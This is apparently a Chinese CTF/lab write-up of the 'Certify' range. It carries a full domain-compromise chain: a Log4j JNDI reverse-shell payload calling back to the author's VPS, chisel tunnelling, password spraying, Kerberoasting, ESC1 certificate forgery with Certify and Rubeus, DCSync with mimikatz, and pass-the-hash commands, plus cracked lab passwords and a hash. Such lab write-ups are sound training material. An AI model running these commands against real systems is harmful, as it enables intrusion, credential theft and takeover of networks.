春秋云镜-Certify
信息收集
拿到ip后还是先使用fscan进行扫描
1 | fscan -h 39.98.127.239 -p 1-65535 |
8983端口开了这个服务 是solr
查看到版本号 于是Google查找
先测试是否存在这个漏洞
漏洞存在进行getshell操作
Getshell
这里的话使用这个工具
JNDIExploit-1.3-SNAPSHOT.jar https://github.com/WhiteHSBG/JNDIExploit/releases
在自己的vps上启动
payload
1 | ${jndi:ldap://101.42.39.110:1389/Basic/ReverseShell/101.42.39.110/3389} |
记得把端口给打开
然后监听3389端口
成功 并且成功弹到了shell
这里查看了一下根目录和home目录 发现没有flag于是就猜测要提权了
提权
这里的话就常规三件套了
sudo suid 内核 挨个找就行了
刚好发现一个以root命令执行的命令 并且不需要密码
然后直接找flag
然后直接读取就行了
接下来就开始内网渗透了
内网渗透
先查看内网ip
wget传一个fscan进行开扫 (记得传到tmp目录下 因为这个目录下的权限高)
一共发现了这些信息
172.22.9.7 ——-> 域控主机 3389
172.22.9.19 —-> linux服务器
172.22.9.26 ——> 普通域用户 3389
172.22.9.47 ——> apache
于是先从这个使用了apache来搭建的fileserver的地址来入手
隧道代理
这里用的是chisel这个工具
(在代理的那篇文章里有讲到)
./chisel server -p 1234 —reverse //vps上运行
./chisel client 101.42.39.110:1234 R:0.0.0.0:7777:socks //getshell主机上运行
成功挂上了代理
(这里的proxychains和proxifier自己百度解决就行)
攻击
然后扫描的时候发现了 这个47这台机器开启了445 然后又扫到了这个fileserver服务
直接无密码登录smb试试
1 | proxychains4 smbclient -L 172.22.9.47 |
发现可以无密码登录
于是就去查看他的文件共享文件夹
1 | proxychains4 smbclient //172.22.9.47/fileshare |
然后使用get命令下载到本地就行了
发现给了个SPN的提示 (先不管 遇到再说)
在查看文件共享的时候 还发现了个person.db这个文件夹 于是下载到本地进行查看
发现了存在四个表
- User表
存在了三个用户的密码
- Members表
这个表是存在了域里用户的表 (不知道是不是全部)
然后我们尝试将用户名全部提取出来进行密码喷洒攻击 来找到可以利用用户的账号密码
- 提取脚本
1 | import re |
1.txt直接把members整个表复制进去就行
运行之后就会得到所有的用户
然后使用这个kerbrute_windows_amd64.exe
工具进行密码喷洒攻击
1 | kerbrute_windows_amd64.exe passwordspray --dc 172.22.9.7 -d xiaorang.lab user.txt i9XDE02pLVf |
2023/09/29 17:44:29 > [+] VALID LOGIN: liupeng@xiaorang.lab:fiAzGwEMgTY
2023/09/29 17:44:04 > [+] VALID LOGIN: zhangjian@xiaorang.lab:i9XDE02pLVf
一共就是爆破出这个两个账号 因为上面提示了SPN 于是我们可以枚举一下域里的SPN
(先是RDP失败了)
1 | proxychains4 python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf |
不适用-request的话 是只返回域中的所有SPN 包括服务账户 服务主机
这里使用-request来请求返回域中所有SPN的hash值
1 | 在一般情况下,SPN 的哈希值是根据服务账户的名称生成的,因此可以认为 SPN 的哈希值包含了该服务账户的信息。哈希值是通过对服务账户名称进行哈希运算而得到的固定长度的字符串。 |
于是我们尝试爆破服务用户的服务票据
(这里的爆破类型是13100)
1 | hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force |
爆破成功
zhangxia–MyPass2@@6
尝试rdp登录
(这里使用RDP的话注意一点 用户名要这样写zhangxia@XIAORANG.LAB
后面跟着域)
成功登录 直接线上sharphood进去收集一下域的信息
1 | SharpHound.exe --CollectionMethods All --Domain xiaorang.lab --ExcludeDCs |
然后将压缩包复制出来 拖到这个bloodhound里进行分析
RBCD条件反应 但是这里题目考察的是CS证书 所以这里没尝试
这里使用的工具是Certify.exe
这个工具 于是尝试进行利用
1 | Certify.exe find /vulnerable |
发现确实是存在这个证书模板可以利用
这里要成功利用要满足三个点
1、我们需要有权限去获取证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启
(证书可以用于身份验证 所以就是为什么可以利用的原因)
域渗透中和证书服务器相关的利用有ESC1和ESC8 这个exe文件这里没有写 我们拿linux的certify工具进行尝试尝试
1 | proxychains4 certipy-ad find -u 'liupeng@xiaorang.lab' -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout |
发现域渗透中和证书服务器相关的利用有ESC1
和ESC8
这里的话就只存在这个ESC1
开始申请 XR Manager
证书模版并伪造域管理员
两个关键参数
1 | .\Certify.exe request /ca:XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator |
这里伪造的是域管理员账户
新建一个cert.pem 然后把内容复制进去
然后使用openssl转成pfx文件 就是证书
(这里转的话在cert.pem内容下面有指令)
tmd 这里折磨了我好几个小时 因为这个转化的是使用openssl—v1.1版本才行 wtmc
1 | openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx |
然后将pfx文件复制rdp主机里
然后使用Rubeus.exe
工具来请求票据
1 | Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt |
请求域管理员的TGT成功 那么接下来就是想干啥干啥了
然后使用mimikatz.exe来获取hash值
Dc’Sync攻击
1 | mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit |
1 | proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" |
接下来到域控这台主机了
1 | proxychains4 python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7 |
//hash值的话就是我们前面获取的那个 然后在前面补0就行了
成功拿下这台域控